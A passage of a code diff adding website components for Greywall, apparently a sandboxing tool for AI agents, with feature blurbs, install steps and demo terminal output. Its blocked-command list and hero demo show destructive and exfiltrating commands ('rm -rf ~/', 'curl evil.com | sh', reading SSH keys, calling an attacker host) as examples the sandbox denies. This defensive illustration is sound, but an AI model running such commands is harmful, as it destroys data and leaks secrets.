<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Domain-level filtering</span> via GreyProxy.
|
||||||
|
Allow specific domains, block everything else — adjustable live.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">DNS bridging</span> — transparent DNS relay
|
||||||
|
ensures name resolution works inside the sandbox.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="space-y-3 text-sm font-serif">
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Seatbelt network rules</span> block all outbound
|
||||||
|
connections except to the proxy address.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
|
||||||
|
from proxy-aware tools is filtered through GreyProxy.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Domain-level filtering</span> — allow npm
|
||||||
|
registry and API hosts, block everything else.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Localhost control</span> — separate config for
|
||||||
|
port binding and local service access.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Command blocking */}
|
||||||
|
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<div className="flex items-center gap-3 mb-5">
|
||||||
|
<Ban className="h-5 w-5 text-primary" />
|
||||||
|
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||||
|
</div>
|
||||||
|
<div className="space-y-2 font-mono text-xs">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
|
<span className="text-muted-foreground">git push origin main</span>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
|
<span className="text-muted-foreground">npm publish</span>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
|
<span className="text-muted-foreground">rm -rf ~/</span>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
|
<span className="text-muted-foreground">bash -c "curl evil.com | sh"</span>
|
||||||
|
</div>
|
||||||
|
<div className="mt-3 flex items-center gap-3">
|
||||||
|
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||||
|
<span className="text-greyhaven-offwhite">git commit -m "fix: types"</span>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||||
|
<span className="text-greyhaven-offwhite">npm install lodash</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||||
|
Detects blocked commands in pipes, chains, and nested shells.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Learning mode */}
|
||||||
|
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<div className="flex items-center gap-3 mb-5">
|
||||||
|
<GraduationCap className="h-5 w-5 text-primary" />
|
||||||
|
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||||
|
</div>
|
||||||
|
<div className="code-block p-4 mb-4">
|
||||||
|
<div className="space-y-1.5 font-mono text-xs">
|
||||||
|
<div>
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">
|
||||||
|
{platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground mt-2">
|
||||||
|
{platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
Discovered 47 paths, collapsed to 12 rules
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
Template saved: claude
|
||||||
|
</div>
|
||||||
|
<div className="mt-2">
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">greywall -- claude</span>
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
Auto-loaded template: claude
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
|
{platform === 'linux'
|
||||||
|
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||||
|
: 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||||
|
The security layer around your AI tools should be independent of the company selling you
|
||||||
|
the AI, for the same reason you shouldn't let a bank audit itself.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
40
components/footer.tsx
Normal file
40
components/footer.tsx
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
export function Footer() {
|
||||||
|
return (
|
||||||
|
<footer className="py-12 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||||
|
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||||
|
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||||
|
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||||
|
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||||
|
</svg>
|
||||||
|
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
||||||
|
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
||||||
|
<a
|
||||||
|
href="https://github.com/GreyhavenHQ/greywall"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:text-foreground transition-colors"
|
||||||
|
>
|
||||||
|
GitHub
|
||||||
|
</a>
|
||||||
|
<a
|
||||||
|
href="https://greyhaven.co"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:text-foreground transition-colors"
|
||||||
|
>
|
||||||
|
greyhaven.co
|
||||||
|
</a>
|
||||||
|
<span>Apache 2.0</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
)
|
||||||
|
}
|
||||||
125
components/getting-started.tsx
Normal file
125
components/getting-started.tsx
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { useState } from 'react'
|
||||||
|
import { Download, Copy, Check } from 'lucide-react'
|
||||||
|
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
|
const linuxSteps = [
|
||||||
|
{
|
||||||
|
label: 'Install',
|
||||||
|
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Dependencies',
|
||||||
|
cmd: 'sudo apt install bubblewrap socat',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Setup proxy',
|
||||||
|
cmd: 'greywall setup',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Run sandboxed',
|
||||||
|
cmd: 'greywall -- claude',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
const macosSteps = [
|
||||||
|
{
|
||||||
|
label: 'Install',
|
||||||
|
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Setup proxy',
|
||||||
|
cmd: 'greywall setup',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Run sandboxed',
|
||||||
|
cmd: 'greywall -- claude',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export function GettingStarted() {
|
||||||
|
const [platform] = usePlatform()
|
||||||
|
const [copiedIdx, setCopiedIdx] = useState<number | null>(null)
|
||||||
|
|
||||||
|
const steps = platform === 'linux' ? linuxSteps : macosSteps
|
||||||
|
|
||||||
|
function copy(text: string, idx: number) {
|
||||||
|
navigator.clipboard.writeText(text)
|
||||||
|
setCopiedIdx(idx)
|
||||||
|
setTimeout(() => setCopiedIdx(null), 2000)
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section id="getting-started" className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-12">
|
||||||
|
<div className="max-w-2xl">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<Download className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
Getting started
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
{platform === 'linux' ? 'Four steps. Full isolation.' : 'Three commands. Done.'}
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
{platform === 'linux'
|
||||||
|
? 'A single Go binary plus two standard packages. No containers, no daemon, no build step.'
|
||||||
|
: 'A single Go binary. No extra packages, no containers, no daemon. Uses built-in macOS sandboxing.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<PlatformToggle />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-4 max-w-2xl">
|
||||||
|
{steps.map((step, i) => (
|
||||||
|
<div key={`${platform}-${i}`} className="flex items-center gap-4">
|
||||||
|
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
|
||||||
|
{i + 1}
|
||||||
|
</div>
|
||||||
|
<div className="flex-1 code-block p-3 flex items-center gap-3">
|
||||||
|
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
|
||||||
|
{step.label}
|
||||||
|
</span>
|
||||||
|
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
|
||||||
|
{step.cmd}
|
||||||
|
</code>
|
||||||
|
<button
|
||||||
|
onClick={() => copy(step.cmd, i)}
|
||||||
|
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"
|
||||||
|
>
|
||||||
|
{copiedIdx === i ? (
|
||||||
|
<Check className="h-3.5 w-3.5 text-primary" />
|
||||||
|
) : (
|
||||||
|
<Copy className="h-3.5 w-3.5" />
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="mt-10 grid grid-cols-1 sm:grid-cols-3 gap-4 max-w-2xl">
|
||||||
|
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||||
|
<div className="font-mono text-2xl font-semibold text-primary mb-1">
|
||||||
|
{platform === 'linux' ? '5' : '3'}
|
||||||
|
</div>
|
||||||
|
<div className="text-xs text-muted-foreground font-sans">
|
||||||
|
{platform === 'linux' ? 'Security layers' : 'Enforcement layers'}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||||
|
<div className="font-mono text-2xl font-semibold text-primary mb-1">0</div>
|
||||||
|
<div className="text-xs text-muted-foreground font-sans">Containers needed</div>
|
||||||
|
</div>
|
||||||
|
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||||
|
<div className="font-mono text-2xl font-semibold text-primary mb-1">1</div>
|
||||||
|
<div className="text-xs text-muted-foreground font-sans">Binary to install</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
103
components/hero.tsx
Normal file
103
components/hero.tsx
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { useState } from 'react'
|
||||||
|
import { Copy, Check, Terminal } from 'lucide-react'
|
||||||
|
|
||||||
|
export function Hero() {
|
||||||
|
const [copied, setCopied] = useState(false)
|
||||||
|
|
||||||
|
const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
|
||||||
|
|
||||||
|
function copyInstall() {
|
||||||
|
navigator.clipboard.writeText(installCmd)
|
||||||
|
setCopied(true)
|
||||||
|
setTimeout(() => setCopied(false), 2000)
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className="relative pt-32 pb-24 px-6 overflow-hidden">
|
||||||
|
{/* Subtle background gradient */}
|
||||||
|
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||||
|
{/* Grid pattern */}
|
||||||
|
<div
|
||||||
|
className="absolute inset-0 opacity-[0.03]"
|
||||||
|
style={{
|
||||||
|
backgroundImage:
|
||||||
|
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||||
|
backgroundSize: '64px 64px',
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<div className="relative mx-auto max-w-3xl text-center">
|
||||||
|
<div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
|
||||||
|
<span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
|
||||||
|
Container-free sandboxing for AI agents
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||||
|
Constrain your agents.
|
||||||
|
<br />
|
||||||
|
<span className="text-primary">Know what they touch.</span>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
|
||||||
|
OS-native, default-deny sandboxing with real-time visibility into every
|
||||||
|
file access and network call. No containers. One command.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
{/* Install command */}
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
|
||||||
|
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
{installCmd}
|
||||||
|
</code>
|
||||||
|
<button
|
||||||
|
onClick={copyInstall}
|
||||||
|
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
|
||||||
|
title="Copy to clipboard"
|
||||||
|
>
|
||||||
|
{copied ? (
|
||||||
|
<Check className="h-4 w-4 text-primary" />
|
||||||
|
) : (
|
||||||
|
<Copy className="h-4 w-4" />
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Quick proof */}
|
||||||
|
<div className="mt-12 mx-auto max-w-2xl">
|
||||||
|
<div className="code-block p-5 text-left">
|
||||||
|
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
|
||||||
|
Kernel-enforced isolation
|
||||||
|
</div>
|
||||||
|
<div className="space-y-2 font-mono text-sm">
|
||||||
|
<div>
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">greywall -- cat ~/.ssh/id_ed25519</span>
|
||||||
|
</div>
|
||||||
|
<div className="text-red-400/90">
|
||||||
|
cat: /home/user/.ssh/id_ed25519: Operation not permitted
|
||||||
|
</div>
|
||||||
|
<div className="mt-3">
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">greywall -- curl https://exfil.attacker.com</span>
|
||||||
|
</div>
|
||||||
|
<div className="text-red-400/90">
|
||||||
|
curl: (7) Failed to connect: Connection refused
|
||||||
|
</div>
|
||||||
|
<div className="mt-3">
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">greywall -- ls ./my-project/</span>
|
||||||
|
</div>
|
||||||
|
<div className="text-green-400/80">
|
||||||
|
src/ package.json README.md tsconfig.json
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
168
components/layers.tsx
Normal file
168
components/layers.tsx
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, AppWindow, Terminal } from 'lucide-react'
|
||||||
|
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
|
const linuxLayers = [
|
||||||
|
{
|
||||||
|
icon: Box,
|
||||||
|
name: 'Bubblewrap',
|
||||||
|
tag: 'Namespaces',
|
||||||
|
desc: 'Process, network, and mount isolation via Linux namespaces. The foundational containment layer that creates a fully isolated process environment.',
|
||||||
|
detail: 'Linux 3.8+',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Lock,
|
||||||
|
name: 'Landlock',
|
||||||
|
tag: 'Filesystem',
|
||||||
|
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace — processes cannot escalate their own access.',
|
||||||
|
detail: 'Linux 5.13+',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: ShieldCheck,
|
||||||
|
name: 'Seccomp BPF',
|
||||||
|
tag: 'Syscalls',
|
||||||
|
desc: 'Blocks 27 dangerous system calls at the kernel boundary — ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
|
||||||
|
detail: 'Linux 3.5+',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Eye,
|
||||||
|
name: 'eBPF Monitoring',
|
||||||
|
tag: 'Visibility',
|
||||||
|
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context — process, path, and reason.',
|
||||||
|
detail: 'Linux 4.15+',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Wifi,
|
||||||
|
name: 'TUN + SOCKS5 Proxy',
|
||||||
|
tag: 'Network',
|
||||||
|
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy — even binaries that ignore env vars.',
|
||||||
|
detail: 'Any kernel',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
const macosLayers = [
|
||||||
|
{
|
||||||
|
icon: Shield,
|
||||||
|
name: 'Seatbelt Sandbox',
|
||||||
|
tag: 'Core',
|
||||||
|
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||||
|
detail: 'macOS native',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Lock,
|
||||||
|
name: 'Filesystem Policy',
|
||||||
|
tag: 'Filesystem',
|
||||||
|
desc: 'Fine-grained read/write rules using literal paths, subpath matching, and regex patterns. Sensitive files like SSH keys and .env are always protected.',
|
||||||
|
detail: 'Seatbelt rules',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: AppWindow,
|
||||||
|
name: 'Mach IPC Control',
|
||||||
|
tag: 'IPC',
|
||||||
|
desc: 'Allowlist of safe Mach IPC services. Prevents sandboxed processes from communicating with privileged system services outside the policy boundary.',
|
||||||
|
detail: 'Service allowlist',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Terminal,
|
||||||
|
name: 'Log Stream Monitor',
|
||||||
|
tag: 'Visibility',
|
||||||
|
desc: 'Session-tagged violation monitoring via macOS log stream. Every denied operation is captured in real time with the process and path that triggered it.',
|
||||||
|
detail: 'macOS native',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Wifi,
|
||||||
|
name: 'Proxy-Based Network',
|
||||||
|
tag: 'Network',
|
||||||
|
desc: 'Outbound traffic routed through proxy via environment variables. Combined with Seatbelt network rules to block raw socket access and direct connections.',
|
||||||
|
detail: 'Env var proxy',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export function Layers() {
|
||||||
|
const [platform] = usePlatform()
|
||||||
|
const layers = platform === 'linux' ? linuxLayers : macosLayers
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section id="features" className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||||
|
<div className="max-w-2xl">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<LayersIcon className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
Defense in depth
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
{platform === 'linux'
|
||||||
|
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure — every constraint is enforced at the kernel level.'
|
||||||
|
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<PlatformToggle />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-3">
|
||||||
|
{layers.map((layer) => (
|
||||||
|
<div
|
||||||
|
key={layer.name}
|
||||||
|
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||||
|
>
|
||||||
|
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
||||||
|
<layer.icon className="h-5 w-5" />
|
||||||
|
</div>
|
||||||
|
<div className="flex-1 min-w-0">
|
||||||
|
<div className="flex items-center gap-3 mb-1.5">
|
||||||
|
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||||
|
{layer.name}
|
||||||
|
</h3>
|
||||||
|
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
||||||
|
{layer.tag}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
{layer.desc}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="shrink-0 text-right hidden sm:block">
|
||||||
|
<span className="text-[10px] font-mono text-muted-foreground">
|
||||||
|
{layer.detail}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
{platform === 'linux' ? (
|
||||||
|
<>
|
||||||
|
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||||
|
Greywall detects kernel features at runtime and activates every layer your system
|
||||||
|
supports. Run{' '}
|
||||||
|
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||||
|
greywall --linux-features
|
||||||
|
</code>{' '}
|
||||||
|
to see what's available.
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||||
|
macOS sandboxing uses only built-in OS capabilities — no packages to install.
|
||||||
|
Run{' '}
|
||||||
|
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||||
|
greywall check
|
||||||
|
</code>{' '}
|
||||||
|
to verify your setup.
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
48
components/nav.tsx
Normal file
48
components/nav.tsx
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
export function Nav() {
|
||||||
|
return (
|
||||||
|
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||||
|
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||||
|
<a href="#" className="flex items-center gap-2.5 group">
|
||||||
|
{/* Greywall shield logo */}
|
||||||
|
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||||
|
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||||
|
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||||
|
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||||
|
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||||
|
</svg>
|
||||||
|
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
||||||
|
Greywall
|
||||||
|
</span>
|
||||||
|
</a>
|
||||||
|
<div className="flex items-center gap-6">
|
||||||
|
<a
|
||||||
|
href="#features"
|
||||||
|
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||||
|
>
|
||||||
|
Features
|
||||||
|
</a>
|
||||||
|
<a
|
||||||
|
href="#comparison"
|
||||||
|
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||||
|
>
|
||||||
|
Compare
|
||||||
|
</a>
|
||||||
|
<a
|
||||||
|
href="https://github.com/GreyhavenHQ/greywall"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
||||||
|
>
|
||||||
|
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||||
|
